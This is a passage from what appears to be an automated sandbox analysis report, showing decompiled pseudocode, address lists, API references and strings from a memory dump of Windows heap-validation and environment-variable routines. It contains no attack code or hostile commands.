								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6A9D4AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6A9CFA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6A9C23E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6a9d44a1
0x6a9d44a3
0x6a9d44a7
0x6a9d44ac
0x6a9d44af
0x6a9d44b2
0x6a9d44b9
0x6a9d44bc
0x6a9d47f2
0x6a9d47f2
0x6a9d47f8
0x6a9d47fc
0x6a9d47fe
0x6a9d4804
0x6a9d4805
0x6a9d4805
0x6a9d480c
0x6a9d4810
0x6a9d4812
0x6a9d4812
0x6a9d4812
0x6a9d4822
0x6a9d4822
0x6a9d4827
0x6a9d4827
0x00000000
0x6a9d4827
0x6a9d44c4
0x6a9d44d3
0x6a9d44d9
0x6a9d44dc
0x6a9d44de
0x6a9d44e0
0x6a9d4560
0x6a9d4520
0x6a9d4522
0x6a9d4525
0x6a9d4528
0x6a9d452b
0x6a9d452e
0x6a9d4530
0x6a9d4697
0x6a9d469d
0x6a9d46a1
0x6a9d46c0
0x6a9d46c5
0x6a9d46a3
0x6a9d46b8
0x6a9d46bd
0x6a9d46cb
0x6a9d46d4
0x6a9d4677
0x6a9d4677
0x6a9d4679
0x6a9d467c
0x6a9d468a
0x6a9d4690
0x6a9d4690
0x6a9d47f1
0x6a9d47f1
0x6a9d47f1
0x00000000
0x6a9d47f1
0x6a9d4536
0x6a9d4539
0x6a9d453c
0x6a9d4636
0x6a9d463c
0x6a9d4640
0x6a9d465f
0x6a9d4664
0x6a9d4642
0x6a9d4657
0x6a9d465c
0x6a9d4670
0x00000000
0x6a9d4542
0x6a9d4542
0x6a9d4546
0x6a9d4548
0x6a9d454b
0x6a9d4555
0x6a9d455b
0x6a9d455b
0x6a9d455b
0x6a9d455d
0x6a9d455d
0x6a9d455d
0x00000000
0x6a9d455d
0x6a9d453c
0x6a9d4579
0x6a9d457c
0x6a9d4587
0x6a9d4589
0x6a9d4591
0x6a9d4592
0x6a9d4597
0x6a9d4598
0x6a9d45a1
0x6a9d45ab
0x6a9d45ab
0x6a9d45a1
0x6a9d45ae
0x6a9d45b4
0x6a9d45b9
0x6a9d45bd
0x6a9d4759
0x6a9d4759
0x6a9d475f
0x6a9d4761
0x6a9d4763
0x6a9d4765
0x6a9d4768
0x6a9d476b
0x6a9d476d
0x6a9d479c
0x6a9d479c
0x6a9d479f
0x6a9d47a2
0x6a9d47a4
0x6a9d4830
0x6a9d4833
0x6a9d4879
0x6a9d487d
0x6a9d48f1
0x6a9d48f3
0x6a9d48f3
0x00000000
0x6a9d48f3
0x6a9d487f
0x6a9d4885
0x6a9d4887
0x6a9d48a8
0x6a9d48a8
0x6a9d48ae
0x6a9d48b0
0x6a9d48dc
0x6a9d48dc
0x6a9d48dc
0x6a9d48dc
0x6a9d48ec
0x00000000
0x6a9d48ec
0x6a9d48b2
0x6a9d48bc
0x6a9d48be
0x6a9d48c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d48c3
0x6a9d48c3
0x6a9d48c6
0x6a9d48c9
0x6a9d48cc
0x6a9d48d1
0x6a9d48d4
0x00000000
0x00000000
0x6a9d48d6
0x6a9d48d7
0x6a9d48da
0x00000000
0x00000000
0x00000000
0x6a9d48da
0x6a9d494f
0x6a9d4955
0x6a9d4959
0x6a9d4978
0x6a9d497d
0x6a9d495b
0x6a9d4970
0x6a9d4975
0x6a9d4986
0x6a9d4987
0x6a9d498d
0x6a9d4990
0x6a9d4997
0x6a9d47ef
0x6a9d47ef
0x6a9d47ef
0x00000000
0x6a9d47ef
0x6a9d4890
0x6a9d4890
0x6a9d4891
0x6a9d4891
0x6a9d4894
0x6a9d4897
0x6a9d489d
0x6a9d48a0
0x00000000
0x00000000
0x6a9d48a2
0x6a9d48a3
0x6a9d48a6
0x00000000
0x00000000
0x00000000
0x6a9d48a6
0x6a9d48fb
0x6a9d4901
0x6a9d4905
0x6a9d4924
0x6a9d4929
0x6a9d4907
0x6a9d491c
0x6a9d4921
0x6a9d492f
0x6a9d4935
0x6a9d4936
0x6a9d4939
0x6a9d4942
0x00000000
0x6a9d4947
0x6a9d4835
0x6a9d483b
0x6a9d483f
0x6a9d485e
0x6a9d4863
0x6a9d4841
0x6a9d4856
0x6a9d485b
0x6a9d4869
0x6a9d486c
0x6a9d486f
0x6a9d47e7
0x6a9d47e7
0x00000000
0x6a9d47ec
0x6a9d47aa
0x6a9d47b0
0x6a9d47b4
0x6a9d47d3
0x6a9d47d8
0x6a9d47b6
0x6a9d47cb
0x6a9d47d0
0x6a9d47de
0x6a9d47df
0x6a9d47e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6a9d476f
0x6a9d476f
0x6a9d4778
0x6a9d4785
0x6a9d4787
0x6a9d478c
0x6a9d478e
0x00000000
0x00000000
0x6a9d4790
0x6a9d4792
0x6a9d4794
0x00000000
0x00000000
0x6a9d4796
0x6a9d4799
0x00000000
0x6a9d4799
0x00000000
0x6a9d45c3
0x6a9d45c3
0x6a9d45c7
0x6a9d45c7
0x6a9d45ca
0x6a9d45cf
0x6a9d45d3
0x6a9d45df
0x6a9d45e4
0x6a9d45e6
0x6a9d45e8
0x6a9d45ed
0x6a9d45ed
0x6a9d45f2
0x6a9d45f2
0x6a9d45f7
0x6a9d45fc
0x6a9d4602
0x6a9d4606
0x6a9d4609
0x6a9d460f
0x6a9d46de
0x6a9d46e3
0x6a9d46e5
0x6a9d46ec
0x6a9d46ee
0x6a9d46f6
0x6a9d46f6
0x6a9d46f6
0x6a9d46f6
0x6a9d46ec
0x6a9d4615
0x6a9d4615
0x6a9d461d
0x6a9d462e
0x6a9d462e
0x6a9d461d
0x6a9d460f
0x6a9d4609
0x6a9d46fd
0x00000000
0x00000000
0x6a9d4710
0x6a9d471a
0x6a9d4720
0x6a9d4720
0x6a9d4722
0x6a9d472c
0x00000000
0x6a9d472e
0x6a9d472e
0x00000000
0x6a9d472e
0x6a9d472c
0x6a9d4738
0x6a9d473c
0x6a9d474b
0x6a9d4751
0x6a9d4751
0x00000000
0x6a9d473c
0x6a9d48f4
0x6a9d48f4
0x00000000
0x6a9d48f4

APIs

Part of subcall function 6A9D49A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49DF
Part of subcall function 6A9D49A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6A9D44B7,?), ref: 6A9D49FE
Part of subcall function 6A9D49A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6A9D4A42
Part of subcall function 6A9D49A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6A9D4A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6A9D459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D4664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D46B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D46C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20), ref: 6A9D46D4
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D47CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D47D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20), ref: 6A9D47E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D4863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D4929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6A9D4942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C), ref: 6A9D4970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6A9F0F20,0000001C,6A96F07A), ref: 6A9D497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6A9D4997

Strings

Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6A9D486F
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6A9D46CF
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6A9D47E2
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6A9D493D
HEAP: , xrefs: 6A9D465F, 6A9D46C0, 6A9D47D3, 6A9D485E, 6A9D4924, 6A9D4978
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6A9D4992
HEAP[%wZ]: , xrefs: 6A9D4652, 6A9D46B3, 6A9D47C6, 6A9D4851, 6A9D4917, 6A9D496B
Non-Dedicated free list element %p is out of order, xrefs: 6A9D466B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: cc39b9b51fa21b4b45338245df08a851a17688d0d749a908991d82aca2a16d30
Instruction ID: 2d2cb9bd6328c6e288b509ad2d5e84b9683bc4379a7a89c53a51c829bf7e7123
Opcode Fuzzy Hash: cc39b9b51fa21b4b45338245df08a851a17688d0d749a908991d82aca2a16d30
Instruction Fuzzy Hash: 48F1F431504A469FCB11DF68C484BAAB7F5FF89308F22C529E1659B262DF30E985CF51

Uniqueness

Uniqueness Score: -1.00%

Function 6A942F70, Relevance: 41.1, APIs: 27, Instructions: 610
memorythreadCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E6A942F70(void* _a4, void* _a8, signed int _a12, void* _a16, intOrPtr _a20) {
				long _v8;
				signed int _v12;
				char _v20;
				void* _v29;
				char _v30;
				void* _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				long _v56;
				void* _v60;
				void* _v64;
				long _v68;
				char _v72;
				void* _v76;
				void* _v80;
				void* _v84;
				signed short _v88;
				signed int _v92;
				signed short _v96;
				signed int _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				void* __ebx;
				void* __ebp;
				signed int _t223;
				long _t226;
				signed int _t227;
				intOrPtr _t229;
				void* _t233;
				void* _t244;
				short* _t247;
				void* _t248;
				short* _t251;
				void* _t252;
				void _t253;
				signed int _t262;
				signed int _t266;
				signed short* _t267;
				signed int _t268;
				void* _t269;
				void* _t279;
				void* _t281;
				void _t299;
				signed int _t315;
				signed int _t325;
				void* _t328;
				void* _t329;
				void* _t330;
				signed int _t333;
				void* _t336;
				void* _t337;
				void* _t343;
				void* _t348;
				void* _t349;
				void* _t350;
				void* _t351;
				void* _t352;
				intOrPtr _t353;
				void* _t355;
				void* _t360;
				signed int _t365;
				signed int _t366;
				short* _t369;
				void* _t370;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t380;
				signed short _t381;
				signed short _t382;
				signed int _t389;
				void* _t390;
				void* _t392;
				void* _t393;
				void* _t395;
				signed int _t399;
				signed int _t400;
				signed int _t401;
				intOrPtr _t403;
				void* _t406;
				short* _t407;
				void* _t408;
				short* _t409;
				void* _t412;
				int _t413;
				void* _t414;
				void* _t415;
				short* _t416;
				signed int _t419;
				int _t421;
				int _t422;
				signed int _t423;
				int _t424;
				int _t425;
				signed int _t427;
				void* _t428;
				intOrPtr _t429;
				int _t430;
				void* _t433;
				short* _t434;
				int _t436;
				int _t437;
				signed int _t438;
				signed int _t441;
				void* _t442;
				void* _t443;
				void* _t445;

				_push(0xfffffffe);
				_push(0x6a9eff28);
				_push(0x6a9617f0);
				_push( *[fs:0x0]);
				_t443 = _t442 - 0x5c;
				_t223 =  *0x6aa0d360;
				_v12 = _v12 ^ _t223;
				_push(_t223 ^ _t441);
				 *[fs:0x0] =  &_v20;
				_v52 = 0;
				_v68 = 0;
				_v29 = 0;
				_v30 = 0;
				_t419 = _a12;
				if(_t419 == 0) {
					L100:
					_t226 = 0xc000000d;
					L65:
					 *[fs:0x0] = _v20;
					return _t226;
				}
				_t348 = _a8;
				if( *_t348 == 0) {
					goto L100;
				} else {
					_t227 = 1;
					while(_t227 < _t419) {
						_t389 =  *(_t348 + _t227 * 2) & 0x0000ffff;
						if(_t389 == 0 || _t389 == 0x3d) {
							goto L100;
						} else {
							_t227 = _t227 + 1;
							_t348 = _a8;
							continue;
						}
					}
					_t349 = _a16;
					__eflags = _t349;
					if(_t349 == 0) {
						L12:
						_t229 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
						_t336 =  *((intOrPtr*)(_t229 + 0x10));
						_v44 = _t336;
						_v108 = _t336;
						_v56 = 0;
						_v72 = 0;
						_t350 = _a4;
						__eflags = _t350;
						if(_t350 != 0) {
							_t351 =  *_t350;
							_v36 = _t351;
							__eflags =  *(_t336 + 0x48) - _t351;
							if( *(_t336 + 0x48) != _t351) {
								L14:
								_v8 = 0;
								_t406 = _t351;
								_v40 = _t406;
								_t337 = 0;
								_v48 = 0;
								__eflags = _t351;
								if(_t351 == 0) {
									L60:
									_t230 = _v72;
									__eflags = _t230;
									if(_t230 != 0) {
										_t406 = _t230;
										_v40 = _t406;
									}
									__eflags = _t337;
									if(_t337 == 0) {
										__eflags = _a16;
										if(_a16 == 0) {
											goto L62;
										}
										__eflags = _t406;
										if(_t406 == 0) {
											_t353 = _a20;
											_t233 = 6 + (_t419 + _t353) * 2;
											_t390 = 0;
											L74:
											_v80 = _t233;
											__eflags = _t233 - _t390;
											if(_t233 < _t390) {
												_t162 = _t353 + 2; // 0x2
												memmove(_t406 + (_t162 + _t419) * 2, _t406, _t337 - _t406 & 0xfffffffe);
												_t421 = _t419 + _t419;
												memcpy(_t406, _a8, _t421);
												_t445 = _t443 + 0x18;
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6aa08220, 0, 0x234);
													_t445 = _t445 + 0xc;
												}
												_t407 = _t406 + _t421;
												_v40 = _t407;
												 *_t407 = 0x3d;
												_t408 = _t407 + 2;
												_v40 = _t408;
												_t422 = _a20 + _a20;
												memcpy(_t408, _a16, _t422);
												_t409 = _t408 + _t422;
												_v40 = _t409;
												_t230 = 0;
												 *_t409 = 0;
												_v40 = _t409 + 2;
												__eflags = _a4;
												if(_a4 != 0) {
													goto L63;
												} else {
													_t352 = _v44;
													 *((intOrPtr*)(_t352 + 0x48)) = _v36;
													_t230 = _v80;
													 *((intOrPtr*)(_t352 + 0x290)) = _v80;
													 *((intOrPtr*)(_t352 + 0x294)) =  *((intOrPtr*)(_t352 + 0x294)) + 1;
													goto L64;
												}
											}
											_t355 = E6A9436CC(_t233);
											_v76 = _t355;
											__eflags = _t355;
											if(_t355 == 0) {
												L106:
												_v56 = 0xc000009a;
												goto L62;
											}
											__eflags = _t406;
											if(_t406 == 0) {
												_t423 = 0;
											} else {
												_t392 = _v36;
												_t427 = _t406 - _t392;
												__eflags = _t427;
												_t423 = _t427 >> 1;
												memcpy(_t355, _t392, _t423 + _t423);
												_t443 = _t443 + 0xc;
												_t355 = _v76;
											}
											_t244 = _t355 + _t423 * 2;
											_v64 = _t244;
											_t424 = _a12 + _a12;
											memcpy(_t244, _a8, _t424);
											_t247 = _v64 + _t424;
											 *_t247 = 0x3d;
											_t248 = _t247 + 2;
											_v64 = _t248;
											_t425 = _a20 + _a20;
											memcpy(_t248, _a16, _t425);
											_t251 = _v64 + _t425;
											 *_t251 = 0;
											_t252 = _t251 + 2;
											__eflags = _t406;
											if(_t406 == 0) {
												 *_t252 = 0;
												_t338 = _v29;
											} else {
												memcpy(_t252, _t406, _t337 - _t406 & 0xfffffffe);
												_t338 = _v29;
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6aa08220, 0, 0x234);
												}
											}
											_t360 = _a4;
											_t253 = _v76;
											__eflags = _t360;
											if(_t360 != 0) {
												 *_t360 = _t253;
											} else {
												_t360 = _v44;
												 *(_t360 + 0x48) = _t253;
												 *((intOrPtr*)(_t360 + 0x290)) = _v80;
												_t146 = _t360 + 0x294;
												 *_t146 =  *(_t360 + 0x294) + 1;
												__eflags =  *_t146;
											}
											__eflags = _v30;
											if(_v30 != 0) {
												E6A92EB70(_t360,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
												_v30 = 0;
											}
											_t230 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
											goto L63;
										}
										_v48 = _t406;
										while(1) {
											L69:
											_t262 =  *_t406 & 0x0000ffff;
											__eflags = _t262;
											if(_t262 == 0) {
												break;
											}
											while(1) {
												_t406 = _t406 + 2;
												_v48 = _t406;
												__eflags = _t262;
												if(_t262 == 0) {
													goto L69;
												}
												_t262 =  *_t406 & 0x0000ffff;
											}
										}
										_v48 = _t406 + 2;
										_t390 = E6A9435D0(_t351,  *( *[fs:0x30] + 0x18), 0, _t351);
										_t337 = _v48;
										_t365 = (_t337 - _v36 >> 1) + _t419 + _a20;
										__eflags = _t365;
										_t233 = 4 + _t365 * 2;
										_t406 = _v40;
										_t353 = _a20;
										goto L74;
									} else {
										L62:
										_t338 = _v29;
										L63:
										_t352 = _v44;
										L64:
										_v8 = 0xfffffffe;
										E6A9435A1(_t230, _t338, _t352);
										_t226 = _v56;
										goto L65;
									}
								}
								_v64 = _v68;
								while(1) {
									L16:
									__eflags =  *_t406 - _t337;
									if( *_t406 == _t337) {
										break;
									}
									_t428 = _t406;
									_v76 = _t428;
									_t366 = 0;
									__eflags = 0;
									_v80 = 0;
									while(1) {
										_t406 = _t406 + 2;
										_v40 = _t406;
										_t266 =  *_t406 & 0x0000ffff;
										__eflags = _t266;
										if(_t266 == 0) {
											break;
										}
										__eflags = _t266 - 0x3d;
										if(_t266 != 0x3d) {
											continue;
										}
										_t366 = _t406 - _t428 >> 1;
										_v80 = _t366;
										_t406 = _t406 + 2;
										__eflags = _t406;
										_v40 = _t406;
										_t328 = _t406;
										_v52 = _t328;
										while(1) {
											__eflags =  *_t406 - _t337;
											if( *_t406 == _t337) {
												break;
											}
											_t406 = _t406 + 2;
											_v40 = _t406;
										}
										_t399 = _t406 - _t328;
										__eflags = _t399;
										_t400 = _t399 >> 1;
										_v64 = _t400;
										_v68 = _t400;
										break;
									}
									_t406 = _t406 + 2;
									_v40 = _t406;
									_t393 = _a8;
									_t267 = _t393;
									_v60 = _t393;
									_v84 = _t428;
									__eflags = _a12 - _t366;
									if(_a12 <= _t366) {
										_t366 = _a12;
									}
									_t367 = _t393 + _t366 * 2;
									_v104 = _t367;
									while(1) {
										__eflags = _t267 - _t367;
										if(_t267 >= _t367) {
											break;
										}
										_t381 =  *_t267 & 0x0000ffff;
										_v88 = _t381;
										_t401 = _t381 & 0x0000ffff;
										_v92 = _t401;
										_t382 =  *_t428 & 0x0000ffff;
										_v96 = _t382;
										_t438 = _t382 & 0x0000ffff;
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											L37:
											_t267 =  &(_t267[1]);
											_v60 = _t267;
											_t428 = _v84 + 2;
											_v84 = _t428;
											_t367 = _v104;
											continue;
										}
										_t367 =  *0x6aa06d5c;
										__eflags = _t401 - 0x61;
										if(_t401 >= 0x61) {
											__eflags = _t401 - 0x7a;
											if(_t401 > 0x7a) {
												_t315 = ( *( *0x6aa06d5c + (( *(_t367 + (_t401 >> 8) * 2) & 0x0000ffff) + (_t401 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t401 & 0x0000000f);
												_t367 =  *0x6aa06d5c;
												_t401 =  *((intOrPtr*)(_t367 + _t315 * 2)) + _v88 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t401 = _t401 + 0xffffffe0;
											}
										}
										_v92 = _t401;
										__eflags = _t438 - 0x61;
										if(_t438 >= 0x61) {
											__eflags = _t438 - 0x7a;
											if(_t438 > 0x7a) {
												_t325 = ( *( *0x6aa06d5c + (( *(_t367 + (_t438 >> 8) * 2) & 0x0000ffff) + (_t438 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t438 & 0x0000000f);
												_t367 =  *0x6aa06d5c;
												_t438 =  *((intOrPtr*)( *0x6aa06d5c + _t325 * 2)) + _v96 & 0x0000ffff;
												_t267 = _v60;
											} else {
												_t438 = _t438 + 0xffffffe0;
											}
										}
										_v100 = _t438;
										__eflags = _t401 - _t438;
										if(_t401 == _t438) {
											goto L37;
										} else {
											_t395 = _t401 - _t438;
											__eflags = _t395;
											L32:
											__eflags = _t395;
											if(__eflags == 0) {
												_t343 = _t406;
												_v48 = _t343;
												while(1) {
													L44:
													_t268 =  *_t343 & 0x0000ffff;
													__eflags = _t268;
													if(_t268 == 0) {
														break;
													}
													while(1) {
														_t343 = _t343 + 2;
														_v48 = _t343;
														__eflags = _t268;
														if(_t268 == 0) {
															goto L44;
														}
														_t268 =  *_t343 & 0x0000ffff;
													}
												}
												_t337 = _t343 + 2;
												_v48 = _t337;
												_t269 = _a16;
												__eflags = _t269;
												if(_t269 == 0) {
													_push(_t337 - _t406 & 0xfffffffe);
													_push(_t406);
													_push(_v76);
													L89:
													memmove();
													_t443 = _t443 + 0xc;
													L90:
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6aa08220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													goto L59;
												}
												_t429 = _a20;
												__eflags = _t429 - _v64;
												if(_t429 <= _v64) {
													_t430 = _t429 + _t429;
													memcpy(_v52, _t269, _t430);
													_t443 = _t443 + 0xc;
													_t369 = _v52 + _t430;
													 *_t369 = 0;
													_t370 = _t369 + 2;
													__eflags = _a20 - _v64;
													if(_a20 == _v64) {
														goto L90;
													}
													_t279 = _t337 - _t406 & 0xfffffffe;
													__eflags = _t279;
													_push(_t279);
													_push(_t406);
													_push(_t370);
													goto L89;
												}
												_t412 = _v36;
												_t281 = E6A9435D0(_t367,  *( *[fs:0x30] + 0x18), 0, _t412);
												_t337 = _v48;
												_t376 = (_t337 - _t412 >> 1) - _v68 + _t429 + (_t337 - _t412 >> 1) - _v68 + _t429;
												_v76 = _t376;
												__eflags = _t376 - _t281;
												if(_t376 < _t281) {
													_t413 = _t429 + _t429;
													_t433 = _v52 + 2 + _t413;
													_t377 = _v40;
													_v80 = _t377;
													memmove(_t433, _t377, _t337 - _t377 & 0xfffffffe);
													_t434 = _t433 - 2;
													 *_t434 = 0;
													memcpy(_t434 - _t413, _a16, _t413);
													_t443 = _t443 + 0x18;
													__eflags = _a4;
													if(_a4 == 0) {
														_t378 = _v44;
														 *((intOrPtr*)(_t378 + 0x48)) = _v36;
														 *((intOrPtr*)(_t378 + 0x290)) = _v76;
														_t213 = _t378 + 0x294;
														 *_t213 =  *(_t378 + 0x294) + 1;
														__eflags =  *_t213;
													}
													__eflags = _v29;
													if(_v29 != 0) {
														memset(0x6aa08220, 0, 0x234);
														_t443 = _t443 + 0xc;
													}
													_t406 = _v80;
													goto L59;
												}
												_t414 = E6A9436CC(_t376);
												_v80 = _t414;
												__eflags = _t414;
												if(_t414 == 0) {
													goto L106;
												}
												_t379 = _v36;
												_t436 = (_v52 - _t379 >> 1) + (_v52 - _t379 >> 1);
												memcpy(_t414, _t379, _t436);
												_t415 = _t414 + _t436;
												_t437 = _a20 + _a20;
												memcpy(_t415, _a16, _t437);
												_t416 = _t415 + _t437;
												 *_t416 = 0;
												memcpy(_t416 + 2, _v40, _t337 - _v40 & 0xfffffffe);
												_t443 = _t443 + 0x24;
												_t380 = _a4;
												_t299 = _v80;
												__eflags = _t380;
												if(_t380 != 0) {
													 *_t380 = _t299;
												} else {
													_t380 = _v44;
													 *(_t380 + 0x48) = _t299;
													 *((intOrPtr*)(_t380 + 0x290)) = _v76;
													_t92 = _t380 + 0x294;
													 *_t92 =  *(_t380 + 0x294) + 1;
													__eflags =  *_t92;
												}
												__eflags = _v29;
												if(_v29 != 0) {
													memset(0x6aa08220, 0, 0x234);
													_t443 = _t443 + 0xc;
												}
												__eflags = _v30;
												if(_v30 != 0) {
													E6A92EB70(_t380,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
													_v30 = 0;
												}
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v36);
												_t406 = _v40;
												_t337 = _v48;
												goto L59;
											}
											if(__eflags < 0) {
												__eflags = _v72 - _t337;
												if(_v72 == _t337) {
													_v72 = _v76;
												}
											}
											goto L16;
										}
									}
									_t395 = _a12 - _v80;
									goto L32;
								}
								L59:
								_t351 = _v36;
								_t419 = _a12;
								goto L60;
							}
							_t329 =  *(_t229 + 0x1c);
							__eflags = _t329;
							if(_t329 == 0) {
								L103:
								_v29 = 1;
								goto L14;
							} else {
								_t330 = E6A926600(_t329);
								_t351 = _v36;
								__eflags = _t330;
								if(_t330 == 0) {
									goto L14;
								}
								goto L103;
							}
						}
						_v30 = 1;
						_v29 = 1;
						L6A92EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
						_t351 =  *(_t336 + 0x48);
						_v36 = _t351;
						goto L14;
					} else {
						_t333 = 0;
						__eflags = 0;
						_t403 = _a20;
						while(1) {
							__eflags = _t333 - _t403;
							if(_t333 >= _t403) {
								goto L12;
							}
